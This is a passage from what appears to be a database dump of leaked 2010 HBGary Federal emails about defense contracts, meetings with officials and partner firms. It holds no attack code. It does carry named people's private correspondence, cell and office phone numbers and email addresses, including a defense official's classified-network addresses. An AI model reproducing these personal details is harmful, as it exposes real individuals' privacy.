\r\n			Published by AFCEA International, 4400 Fair Lakes Ct., Fairfax, VA 22033.\r\n			\r\n				\r\n				\r\n					\r\n				\r\n			 \r\n\r\n			\r\n				\r\n					\r\n					\r\n						\r\n							\r\n								Copyright &copy; 2010 AFCEA International. All rights reserved.\r\n			    Copyright is not claimed in the portions written by government employees within the scope of their employment. Authors are entirely responsible for opinions expressed in articles or letters appearing in AFCEA publications, and these opinions are not to be construed as official or reflecting the views of AFCEA. SIGNAL is registered in the U.S. Patent and Trademark Office.\r\n			 \r\n								\r\n			  \r\n			    \r\n			      FORWARD TO A FRIEND\r\n			      \r\n			  UNSUBSCRIBE\r\n							\r\n						\r\n					\r\n					\r\n				\r\n			 \r\n		\r\n	\r\n \r\n\r\n\r\n \r\n   var _gaq = _gaq || []; \r\n  _gaq.push([\'_setAccount\', \'UA-1095862-1\']); \r\n  _gaq.push([\'_trackPageview\']); \r\n \r\n  (function() { \r\n    var ga = document.createElement(\'script\'); ga.type = \'text/javascript\'; ga.async = true; \r\n    ga.src = (\'https:\' == document.location.protocol ? \'https://ssl\' : \'http://www\') + \'.google-analytics.com/ga.js\'; \r\n    var s = document.getElementsByTagName(\'script\')[0]; s.parentNode.insertBefore(ga, s); \r\n  })(); \r\n\r\n\r\n\r\n\r\n_qacct=\"p-8133HdY5ndcvE\";\r\nquantserve();\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12394,'aaron_hbgary_com/12394.html'),(8626,'2010-07-15','\"Eifert, Eric J.\" <Eric.Eifert@ManTech.com>','/aaron@hbgary.com/new/1297006648.M118194P14101Q3481.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Frisbie, Robert P\" <Robert.Frisbie@ManTech.com>','RE: Asteroid','I am not aware of these programs.\r\n\r\nEric J. Eifert\r\nVice President, Cyber Defense Business Unit\r\nManTech Mission, Cyber and Technology Solutions\r\n(direct) 703-388-2127   (cell) 703-966-9998   (fax) 703-388-2148\r\n\r\n**PROPRIETARY & COMPANY-CONFIDENTIAL**\r\nThis email and the contents of this email (including any attachments) are company-confidential and/or proprietary.  Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.  If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.  Thank you.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, July 15, 2010 2:12 PM\r\nTo: Frisbie, Robert P; Eifert, Eric J.\r\nSubject: Asteroid\r\n\r\nYou guys are currently sub on a program called cosmic for arstrat.\r\nThere is a new contract coming up called asteroid.  Are you still\r\nstaying sub to bae or thinking of priming?\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',5422,'aaron_hbgary_com/5422.html'),(8627,'2010-07-15','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297006648.M346246P14101Q3482.eml','\"Aaron Barr\" <aaron@hbgary.com>','Flight arrangements','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nPenny has asked if you could make your own flight\r\narrangements for the conferences. &nbsp;Please send me confirmations.\r\n\r\n&nbsp;\r\n\r\nPlease contact me with any questions.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6700,'aaron_hbgary_com/6700.html'),(8628,'2010-07-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006648.M625669P14101Q3483.eml','\"Lachow, Irving Mr OSD ATL\" <Irving.Lachow@osd.mil>','Re: Open Source Center briefing','Hi Irv,Is this brief still happening? &nbsp;Hope all is well. &nbsp;I hear you are heading back from Singapore.I would like to regroup when you have a chance to refresh on what we can do going forward related to R&amp;D.AaronOn May 17, 2010, at 8:38 AM, Lachow, Irving Mr OSD ATL wrote:\r\n\r\nPeople from the CIA’s Open Source Center are available to give us a capabilities briefing on their social media work on July 21.&nbsp; Are you all free?&nbsp; Can you suggest anyone else who might want to come?--Irv&nbsp; Irving Lachow, Ph.D.Director, Cyber ProgramsSpecial Capabilities OfficeNIPR: irving.lachow@osd.milSIPR: irving.lachow@osd.smil.milJWICS: irving.lachow@osdj.ic.govOffice:&nbsp; (703) 746-1226Cell:&nbsp; (202) 556-0591\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',97,'aaron_hbgary_com/97.html'),(8629,'2010-07-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006648.M841540P14101Q3484.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,','Tonights Dinner','Just cuz its so friggin cool I thought I would share.\r\n\r\nSo I have been invited to attend these Thursday dinners hosted by the OSD ATL (Advanced Technologies Lab) which is the R&D shop for OSD.  Todays guest was the IO Commander for EUCOM.  The discussion went great and he said at the end he would like to involve us in developing an updated IO strategy for EUCOM.  He was floored by the threat intelligence/attribution, Social Media conversation.\r\n\r\nAt the end of the meeting I was invited to a dinner with Keith Alexander next Tuesday.  Gen. Alexander is the director of NSA and the Commander of Cyber Command. :)\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',14938,'aaron_hbgary_com/14938.html'),(8630,'2010-07-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006649.M192281P14101Q3485.eml','\"Chris Clair\" <CHRISTOPHER.CLAIR@tasc.com>,\"Chris Clair\" <CHRISTOPHER.CLAIR@tasc.com>','Imagine my Surprise','So I am at a small dinner tonight over at OSD ATL talking with the IO Commander of EUCOM and who is sitting next to me....\r\njeffrey castelli\r\n\r\nAnd when I say small there were about 7 government folks and about 4-5 contractor folks... figure the odds.  He gave me a card and told me he would like to get together and talk about a few things...\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',13773,'aaron_hbgary_com/13773.html'),(8631,'2010-07-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006649.M437149P14101Q3486.eml','tjriesen@archimedesglobal.com','capability','Tim,\r\n\r\nAbout the capability you told me about the other day.  Too good of a capability I can\'t get it out of my head.  So I talked briefly to someone I know that could schedule some meetings with the senior folks I mentioned.  I am going to have a discussion with him on Monday.  Can we talk before then just so I make sure I don\'t screw up the details.\r\n\r\nFunny thing I was at a small dinner hosted by OSD ATL tonight for the IO CMDR EUCOM, sitting next to me was jeff castelli from Phase1.  I think there may be some opportunities in the future to help shape some IO strategy for EUCOM.  He said he was excited by what we discussed.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',7829,'aaron_hbgary_com/7829.html'),(8632,'2010-07-16','\"Tim Riesen\" <tjriesen@archimedesglobal.com>','/aaron@hbgary.com/new/1297006649.M641360P14101Q3487.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: capability','Aaron - \r\n\r\nThanks for your note.  We can definitely speak tomorrow - I am flying from\r\n0800 EDT until 1500 EDT.  I will call you after. What number should I use to\r\nreach you.  \r\n\r\nInteresting that you ran into Jeff.  I never worked with him but have heard\r\ngood things about him.  Are you thinking there might be a role for them on\r\nCOIN?  \r\n\r\nTim \r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer & Senior Vice President\r\nArchimedes Global, Inc.\r\nTel:   800.670.2390 ext 503\r\nFax:  866.347.0827\r\n \r\n\r\n\r\n\r\n> From: Aaron Barr \r\n> Date: Thu, 15 Jul 2010 21:34:59 -0400\r\n> To: Tim Riesen \r\n> Subject: capability\r\n> \r\n> Tim,\r\n> \r\n> About the capability you told me about the other day.  Too good of a\r\n> capability I can\'t get it out of my head.  So I talked briefly to someone I\r\n> know that could schedule some meetings with the senior folks I mentioned.  I\r\n> am going to have a discussion with him on Monday.  Can we talk before then\r\n> just so I make sure I don\'t screw up the details.\r\n> \r\n> Funny thing I was at a small dinner hosted by OSD ATL tonight for the IO CMDR\r\n> EUCOM, sitting next to me was jeff castelli from Phase1.  I think there may be\r\n> some opportunities in the future to help shape some IO strategy for EUCOM.  He\r\n> said he was excited by what we discussed.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\n\r\n',2588,'aaron_hbgary_com/2588.html'),(8633,'2010-07-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006649.M849436P14101Q3488.eml','\"Tim Riesen\" <tjriesen@archimedesglobal.com>','Re: capability','great.  719.510.8478\r\n\r\nI wasn\'t thinking of a role per se.  I remember Jeff vaguely from is DIOC days and remember that he was a good guy.  I haven\'t really worked directly with Phase1 but I know Gerry and Chris have a good amount of experience and it hasn\'t been overly positive.\r\n\r\nI have to tell you Tim I am looking forward to working with you guys.  I am not impressed often by most companies in this space but you guys seem to have some really great capabilities that leveraged with the rest of our team is going to be very effective.\r\n\r\nI met up with the government folks from the COIN organization today.  We are in good shape.  RFP is going to drop in August.\r\n\r\nAaron\r\n\r\nOn Jul 15, 2010, at 10:27 PM, Tim Riesen wrote:\r\n\r\n> Aaron - \r\n> \r\n> Thanks for your note.  We can definitely speak tomorrow - I am flying from\r\n> 0800 EDT until 1500 EDT.  I will call you after. What number should I use to\r\n> reach you.  \r\n> \r\n> Interesting that you ran into Jeff.  I never worked with him but have heard\r\n> good things about him.  Are you thinking there might be a role for them on\r\n> COIN?  \r\n> \r\n> Tim \r\n> \r\n> ________________________________________\r\n> Tim Riesen, Ph.D.\r\n> Chief Operating Officer & Senior Vice President\r\n> Archimedes Global, Inc.\r\n> Tel:   800.670.2390 ext 503\r\n> Fax:  866.347.0827\r\n> \r\n> \r\n> \r\n> \r\n>> From: Aaron Barr \r\n>> Date: Thu, 15 Jul 2010 21:34:59 -0400\r\n>> To: Tim Riesen \r\n>> Subject: capability\r\n>> \r\n>> Tim,\r\n>> \r\n>> About the capability you told me about the other day.  Too good of a\r\n>> capability I can\'t get it out of my head.  So I talked briefly to someone I\r\n>> know that could schedule some meetings with the senior folks I mentioned.  I\r\n>> am going to have a discussion with him on Monday.  Can we talk before then\r\n>> just so I make sure I don\'t screw up the details.\r\n>> \r\n>> Funny thing I was at a small dinner hosted by OSD ATL tonight for the IO CMDR\r\n>> EUCOM, sitting next to me was jeff castelli from Phase1.  I think there may be\r\n>> some opportunities in the future to help shape some IO strategy for EUCOM.  He\r\n>> said he was excited by what we discussed.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',14957,'aaron_hbgary_com/14957.html'),(8634,'2010-07-16','\"Brandon Colston\" <brandon.colston@gmail.com>','/aaron@hbgary.com/new/1297006650.M295018P14101Q3490.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: HBGary','\r\n\r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\nBrandon Colston has sent you a message.\r\n\r\n\r\n  Date:\r\n  7/15/2010\r\n\r\n\r\n  Subject:\r\n  RE: HBGary\r\n\r\n\r\n\r\n  It was good to hear from you as well.  I have spoken to Trae from Palantir on a regular basis.\r\n\r\n\r\n\r\nHe just told me that the Palantir Cyber team is really impressed with you and that they really enjoy working with you.  I know you have a great vision and I hope customers will start latching on to it.\r\n\r\n\r\n\r\nI would be interested in working on projects utilizing Palantir again, so definitely keep me posted if you need someone.\r\n\r\n\r\n\r\nTake care,\r\n\r\nBrandon\r\n\r\n\r\n\r\n\r\n\r\nOn 07/14/10 4:29 AM, Aaron Barr wrote:\r\n\r\n--------------------\r\n\r\nHey Brandon,\r\n\r\n\r\n\r\nGood to hear from you.  Yes we are working with Palantir for threat intelligence.  I still maintain we need to take parallel cyber data sources and develop visual threat maps that incident handlers and cyber investigators can you to better understand the mechanics of threats and not just the attack vehicles.  Business is slow to grow, despite focus on cyber it is a tight market in some areas but we have the right relationships.\r\n\r\n\r\n\r\nYou should touch base with Ted.  We have an office downtown, small right now but nice.  Palantir really respects you and what you did while working with them.  We have a volume malware processor at HBGary that we are going to eventually hook to Palantir and develop some preprocessors to mine data.  At some point your expertise would really come in handy.\r\n\r\n\r\n\r\nHow are things with you?\r\n\r\n\r\n\r\nBtw the vint cerf talk was amazing at the Palantir night live event.  Nothing earth shattering but to hear him say, so when we were developing the tcp/ip protocol...  Amazing.\r\n\r\n\r\n\r\nAaron  \r\n\r\n\r\n\r\nOn 07/13/10 9:24 PM, Brandon Colston wrote:\r\n\r\n--------------------\r\n\r\nAaron,\r\n\r\n\r\n\r\nHow are things going with HBGary?\r\n\r\n\r\n\r\nI noticed you posted about the Palantir Night Live event.  Are you guys working with Palantir?\r\n\r\n\r\n\r\nJust thought I would check in.\r\n\r\n\r\n\r\nTake care,\r\n\r\nBrandon\r\n\r\n\r\nView/reply to this message\r\n\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',9357,'aaron_hbgary_com/9357.html'),(8635,'2010-07-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006650.M527486P14101Q3491.eml','\"Tim Riesen\" <tjriesen@archimedesglobal.com>','Re: capability','I know John very well and when we get together we talk about the future and what needs to be developed, so I know where his head is at and while he may not be on the evaluation team because of COI he is most definitely driving many of the requirements.  We talked again today about how they are getting beat up on the hill, MOE are critical and you guys seem to bring it the last mile, better than what I have seen.  I think you capability married with a web-based MOE capability from someone like Buzzient, or Pepsi, will be exactly what they want.\r\n\r\nIt will be a pricing by people I am pretty sure.  The work environment is too dynamic to price by products.\r\n\r\nAaron\r\n\r\nOn Jul 15, 2010, at 10:54 PM, Tim Riesen wrote:\r\n\r\n> Aaron - \r\n> \r\n> Got it.  I\'ll drop you a line tomorrow.\r\n> \r\n> I think that as customers, more or less, Gerry and Chris\' have the best\r\n> vantage point to judge their performance.  They are in a better position to\r\n> judge whether they could contribute and I would defer to their judgment.\r\n> \r\n> I\'m very glad we finally had a chance to meet and discuss the program.  From\r\n> someone who has been around the block a few times, on behalf of Archimedes,\r\n> I really appreciate the compliment. You guys know the tech pieces much\r\n> better than I do, but it certainly does seem as though we have assembled a\r\n> complete solution for the customer.  My only concern is that we collectively\r\n> may offer capabilities that the customer absolutely needs (such as\r\n> behavior-based MOE), but it won\'t occur to them to include them in the SOW.\r\n> I hope I am underestimating their vision for the program though. On that\r\n> note, do you have a sense for what the CLINS will look like?  e.g., will\r\n> they want pricing for people, hours, or just products?\r\n> \r\n> We\'ll be ready in August. Anxious to get starting crafting the winning\r\n> proposal.  \r\n> \r\n> Tim  \r\n> \r\n> ________________________________________\r\n> Tim Riesen, Ph.D.\r\n> Chief Operating Officer & Senior Vice President\r\n> Archimedes Global, Inc.\r\n> Tel:   800.670.2390 ext 503\r\n> Fax:  866.347.0827\r\n> \r\n> \r\n> \r\n> \r\n>> From: Aaron Barr \r\n>> Date: Thu, 15 Jul 2010 22:44:33 -0400\r\n>> To: Tim Riesen \r\n>> Subject: Re: capability\r\n>> \r\n>> great.  719.510.8478\r\n>> \r\n>> I wasn\'t thinking of a role per se.  I remember Jeff vaguely from is DIOC days\r\n>> and remember that he was a good guy.  I haven\'t really worked directly with\r\n>> Phase1 but I know Gerry and Chris have a good amount of experience and it\r\n>> hasn\'t been overly positive.\r\n>> \r\n>> I have to tell you Tim I am looking forward to working with you guys.  I am\r\n>> not impressed often by most companies in this space but you guys seem to have\r\n>> some really great capabilities that leveraged with the rest of our team is\r\n>> going to be very effective.\r\n>> \r\n>> I met up with the government folks from the COIN organization today.  We are\r\n>> in good shape.  RFP is going to drop in August.\r\n>> \r\n>> Aaron\r\n>> \r\n>> On Jul 15, 2010, at 10:27 PM, Tim Riesen wrote:\r\n>> \r\n>>> Aaron - \r\n>>> \r\n>>> Thanks for your note.  We can definitely speak tomorrow - I am flying from\r\n>>> 0800 EDT until 1500 EDT.  I will call you after. What number should I use to\r\n>>> reach you.  \r\n>>> \r\n>>> Interesting that you ran into Jeff.  I never worked with him but have heard\r\n>>> good things about him.  Are you thinking there might be a role for them on\r\n>>> COIN?  \r\n>>> \r\n>>> Tim \r\n>>> \r\n>>> ________________________________________\r\n>>> Tim Riesen, Ph.D.\r\n>>> Chief Operating Officer & Senior Vice President\r\n>>> Archimedes Global, Inc.\r\n>>> Tel:   800.670.2390 ext 503\r\n>>> Fax:  866.347.0827\r\n>>> \r\n>>> \r\n>>> \r\n>>> \r\n>>>> From: Aaron Barr \r\n>>>> Date: Thu, 15 Jul 2010 21:34:59 -0400\r\n>>>> To: Tim Riesen \r\n>>>> Subject: capability\r\n>>>> \r\n>>>> Tim,\r\n>>>> \r\n>>>> About the capability you told me about the other day.  Too good of a\r\n>>>> capability I can\'t get it out of my head.  So I talked briefly to someone I\r\n>>>> know that could schedule some meetings with the senior folks I mentioned.  I\r\n>>>> am going to have a discussion with him on Monday.  Can we talk before then\r\n>>>> just so I make sure I don\'t screw up the details.\r\n>>>> \r\n>>>> Funny thing I was at a small dinner hosted by OSD ATL tonight for the IO\r\n>>>> CMDR\r\n>>>> EUCOM, sitting next to me was jeff castelli from Phase1.  I think there may\r\n>>>> be\r\n>>>> some opportunities in the future to help shape some IO strategy for EUCOM.\r\n>>>> He\r\n>>>> said he was excited by what we discussed.\r\n>>>> \r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> \r\n>>> \r\n>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',12168,'aaron_hbgary_com/12168.html'),(8636,'2010-07-16','\"Tim Riesen\" <tjriesen@archimedesglobal.com>','/aaron@hbgary.com/new/1297006650.M69587P14101Q3489.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: capability','Aaron - \r\n\r\nGot it.  I\'ll drop you a line tomorrow.\r\n\r\nI think that as customers, more or less, Gerry and Chris\' have the best\r\nvantage point to judge their performance.  They are in a better position to\r\njudge whether they could contribute and I would defer to their judgment.\r\n\r\nI\'m very glad we finally had a chance to meet and discuss the program.  From\r\nsomeone who has been around the block a few times, on behalf of Archimedes,\r\nI really appreciate the compliment. You guys know the tech pieces much\r\nbetter than I do, but it certainly does seem as though we have assembled a\r\ncomplete solution for the customer.  My only concern is that we collectively\r\nmay offer capabilities that the customer absolutely needs (such as\r\nbehavior-based MOE), but it won\'t occur to them to include them in the SOW.\r\nI hope I am underestimating their vision for the program though. On that\r\nnote, do you have a sense for what the CLINS will look like?  e.g., will\r\nthey want pricing for people, hours, or just products?\r\n\r\nWe\'ll be ready in August. Anxious to get starting crafting the winning\r\nproposal.  \r\n\r\nTim  \r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer & Senior Vice President\r\nArchimedes Global, Inc.\r\nTel:   800.670.2390 ext 503\r\nFax:  866.347.0827\r\n \r\n\r\n\r\n\r\n> From: Aaron Barr \r\n> Date: Thu, 15 Jul 2010 22:44:33 -0400\r\n> To: Tim Riesen \r\n> Subject: Re: capability\r\n> \r\n> great.  719.510.8478\r\n> \r\n> I wasn\'t thinking of a role per se.  I remember Jeff vaguely from is DIOC days\r\n> and remember that he was a good guy.  I haven\'t really worked directly with\r\n> Phase1 but I know Gerry and Chris have a good amount of experience and it\r\n> hasn\'t been overly positive.\r\n> \r\n> I have to tell you Tim I am looking forward to working with you guys.  I am\r\n> not impressed often by most companies in this space but you guys seem to have\r\n> some really great capabilities that leveraged with the rest of our team is\r\n> going to be very effective.\r\n> \r\n> I met up with the government folks from the COIN organization today.  We are\r\n> in good shape.  RFP is going to drop in August.\r\n> \r\n> Aaron\r\n> \r\n> On Jul 15, 2010, at 10:27 PM, Tim Riesen wrote:\r\n> \r\n>> Aaron - \r\n>> \r\n>> Thanks for your note.  We can definitely speak tomorrow - I am flying from\r\n>> 0800 EDT until 1500 EDT.  I will call you after. What number should I use to\r\n>> reach you.  \r\n>> \r\n>> Interesting that you ran into Jeff.  I never worked with him but have heard\r\n>> good things about him.  Are you thinking there might be a role for them on\r\n>> COIN?  \r\n>> \r\n>> Tim \r\n>> \r\n>> ________________________________________\r\n>> Tim Riesen, Ph.D.\r\n>> Chief Operating Officer & Senior Vice President\r\n>> Archimedes Global, Inc.\r\n>> Tel:   800.670.2390 ext 503\r\n>> Fax:  866.347.0827\r\n>> \r\n>> \r\n>> \r\n>> \r\n>>> From: Aaron Barr \r\n>>> Date: Thu, 15 Jul 2010 21:34:59 -0400\r\n>>> To: Tim Riesen \r\n>>> Subject: capability\r\n>>> \r\n>>> Tim,\r\n>>> \r\n>>> About the capability you told me about the other day.  Too good of a\r\n>>> capability I can\'t get it out of my head.  So I talked briefly to someone I\r\n>>> know that could schedule some meetings with the senior folks I mentioned.  I\r\n>>> am going to have a discussion with him on Monday.  Can we talk before then\r\n>>> just so I make sure I don\'t screw up the details.\r\n>>> \r\n>>> Funny thing I was at a small dinner hosted by OSD ATL tonight for the IO\r\n>>> CMDR\r\n>>> EUCOM, sitting next to me was jeff castelli from Phase1.  I think there may\r\n>>> be\r\n>>> some opportunities in the future to help shape some IO strategy for EUCOM.\r\n>>> He\r\n>>> said he was excited by what we discussed.\r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\n\r\n',7242,'aaron_hbgary_com/7242.html'),(8637,'2010-07-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006650.M743644P14101Q3492.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: HBGary','Begin forwarded message:From: Brandon Colston &lt;brandon.colston@gmail.com&gt;Date: July 15, 2010 11:11:32 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: RE: HBGary\r\n\r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedInBrandon Colston has sent you a message.\r\n  Date:\r\n  7/15/2010\r\n\r\n  Subject:\r\n  RE: HBGary\r\n\r\n  It was good to hear from you as well.  I have spoken to Trae from Palantir on a regular basis.\r\n\r\n\r\n\r\nHe just told me that the Palantir Cyber team is really impressed with you and that they really enjoy working with you.  I know you have a great vision and I hope customers will start latching on to it.\r\n\r\n\r\n\r\nI would be interested in working on projects utilizing Palantir again, so definitely keep me posted if you need someone.\r\n\r\n\r\n\r\nTake care,\r\n\r\nBrandon\r\n\r\n\r\n\r\n\r\n\r\nOn 07/14/10 4:29 AM, Aaron Barr wrote:\r\n\r\n--------------------\r\n\r\nHey Brandon,\r\n\r\n\r\n\r\nGood to hear from you.  Yes we are working with Palantir for threat intelligence.  I still maintain we need to take parallel cyber data sources and develop visual threat maps that incident handlers and cyber investigators can you to better understand the mechanics of threats and not just the attack vehicles.  Business is slow to grow, despite focus on cyber it is a tight market in some areas but we have the right relationships.\r\n\r\n\r\n\r\nYou should touch base with Ted.  We have an office downtown, small right now but nice.  Palantir really respects you and what you did while working with them.  We have a volume malware processor at HBGary that we are going to eventually hook to Palantir and develop some preprocessors to mine data.  At some point your expertise would really come in handy.\r\n\r\n\r\n\r\nHow are things with you?\r\n\r\n\r\n\r\nBtw the vint cerf talk was amazing at the Palantir night live event.  Nothing earth shattering but to hear him say, so when we were developing the tcp/ip protocol...  Amazing.\r\n\r\n\r\n\r\nAaron  \r\n\r\n\r\n\r\nOn 07/13/10 9:24 PM, Brandon Colston wrote:\r\n\r\n--------------------\r\n\r\nAaron,\r\n\r\n\r\n\r\nHow are things going with HBGary?\r\n\r\n\r\n\r\nI noticed you posted about the Palantir Night Live event.  Are you guys working with Palantir?\r\n\r\n\r\n\r\nJust thought I would check in.\r\n\r\n\r\n\r\nTake care,\r\n\r\nBrandon\r\nView/reply to this messageDon\'t want to receive e-mail notifications? Adjust your message settings.© 2010, LinkedIn Corporation\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8598,'aaron_hbgary_com/8598.html'),(8638,'2010-07-16','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297006651.M263099P14101Q3494.eml','\"Barr Aaron\" <aaron@hbgary.com>','Incident response','One of the problems with IR is that they are hard to book. People don\'t want to prepay, they wait till an event occurs. What if we offered 50% off normal rates of $350/HR if they prepay. If they don\'t require IR service during the 1yr POP they can have a VA/PT performed?\r\n\r\nTv\r\n',14222,'aaron_hbgary_com/14222.html'),(8639,'2010-07-16','\"Tim Riesen\" <tjriesen@archimedesglobal.com>','/aaron@hbgary.com/new/1297006651.M30767P14101Q3493.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: capability','Great.  It sounds as they plan to do this the right way.  I can\'t imagine\r\nanyone will have as complete a solution.  I have been in meetings all day\r\ntoday at CENTCOM and SOCCENT and these are feeling the same sorts of\r\npressure for an MOE capability.  We could potentially end up deploying a\r\ncapability that could become the community-wide standard for MOE.\r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer & Senior Vice President\r\nArchimedes Global, Inc.\r\nTel:   800.670.2390 ext 503\r\nFax:  866.347.0827\r\n \r\n\r\n\r\n\r\n> From: Aaron Barr \r\n> Date: Thu, 15 Jul 2010 23:13:45 -0400\r\n> To: Tim Riesen \r\n> Subject: Re: capability\r\n> \r\n> I know John very well and when we get together we talk about the future and\r\n> what needs to be developed, so I know where his head is at and while he may\r\n> not be on the evaluation team because of COI he is most definitely driving\r\n> many of the requirements.  We talked again today about how they are getting\r\n> beat up on the hill, MOE are critical and you guys seem to bring it the last\r\n> mile, better than what I have seen.  I think you capability married with a\r\n> web-based MOE capability from someone like Buzzient, or Pepsi, will be exactly\r\n> what they want.\r\n> \r\n> It will be a pricing by people I am pretty sure.  The work environment is too\r\n> dynamic to price by products.\r\n> \r\n> Aaron\r\n> \r\n> On Jul 15, 2010, at 10:54 PM, Tim Riesen wrote:\r\n> \r\n>> Aaron - \r\n>> \r\n>> Got it.  I\'ll drop you a line tomorrow.\r\n>> \r\n>> I think that as customers, more or less, Gerry and Chris\' have the best\r\n>> vantage point to judge their performance.  They are in a better position to\r\n>> judge whether they could contribute and I would defer to their judgment.\r\n>> \r\n>> I\'m very glad we finally had a chance to meet and discuss the program.  From\r\n>> someone who has been around the block a few times, on behalf of Archimedes,\r\n>> I really appreciate the compliment. You guys know the tech pieces much\r\n>> better than I do, but it certainly does seem as though we have assembled a\r\n>> complete solution for the customer.  My only concern is that we collectively\r\n>> may offer capabilities that the customer absolutely needs (such as\r\n>> behavior-based MOE), but it won\'t occur to them to include them in the SOW.\r\n>> I hope I am underestimating their vision for the program though. On that\r\n>> note, do you have a sense for what the CLINS will look like?  e.g., will\r\n>> they want pricing for people, hours, or just products?\r\n>> \r\n>> We\'ll be ready in August. Anxious to get starting crafting the winning\r\n>> proposal.  \r\n>> \r\n>> Tim  \r\n>> \r\n>> ________________________________________\r\n>> Tim Riesen, Ph.D.\r\n>> Chief Operating Officer & Senior Vice President\r\n>> Archimedes Global, Inc.\r\n>> Tel:   800.670.2390 ext 503\r\n>> Fax:  866.347.0827\r\n>> \r\n>> \r\n>> \r\n>> \r\n>>> From: Aaron Barr \r\n>>> Date: Thu, 15 Jul 2010 22:44:33 -0400\r\n>>> To: Tim Riesen \r\n>>> Subject: Re: capability\r\n>>> \r\n>>> great.  719.510.8478\r\n>>> \r\n>>> I wasn\'t thinking of a role per se.  I remember Jeff vaguely from is DIOC\r\n>>> days\r\n>>> and remember that he was a good guy.  I haven\'t really worked directly with\r\n>>> Phase1 but I know Gerry and Chris have a good amount of experience and it\r\n>>> hasn\'t been overly positive.\r\n>>> \r\n>>> I have to tell you Tim I am looking forward to working with you guys.  I am\r\n>>> not impressed often by most companies in this space but you guys seem to\r\n>>> have\r\n>>> some really great capabilities that leveraged with the rest of our team is\r\n>>> going to be very effective.\r\n>>> \r\n>>> I met up with the government folks from the COIN organization today.  We are\r\n>>> in good shape.  RFP is going to drop in August.\r\n>>> \r\n>>> Aaron\r\n>>> \r\n>>> On Jul 15, 2010, at 10:27 PM, Tim Riesen wrote:\r\n>>> \r\n>>>> Aaron - \r\n>>>> \r\n>>>> Thanks for your note.  We can definitely speak tomorrow - I am flying from\r\n>>>> 0800 EDT until 1500 EDT.  I will call you after. What number should I use\r\n>>>> to\r\n>>>> reach you.  \r\n>>>> \r\n>>>> Interesting that you ran into Jeff.  I never worked with him but have heard\r\n>>>> good things about him.  Are you thinking there might be a role for them on\r\n>>>> COIN?  \r\n>>>> \r\n>>>> Tim \r\n>>>> \r\n>>>> ________________________________________\r\n>>>> Tim Riesen, Ph.D.\r\n>>>> Chief Operating Officer & Senior Vice President\r\n>>>> Archimedes Global, Inc.\r\n>>>> Tel:   800.670.2390 ext 503\r\n>>>> Fax:  866.347.0827\r\n>>>> 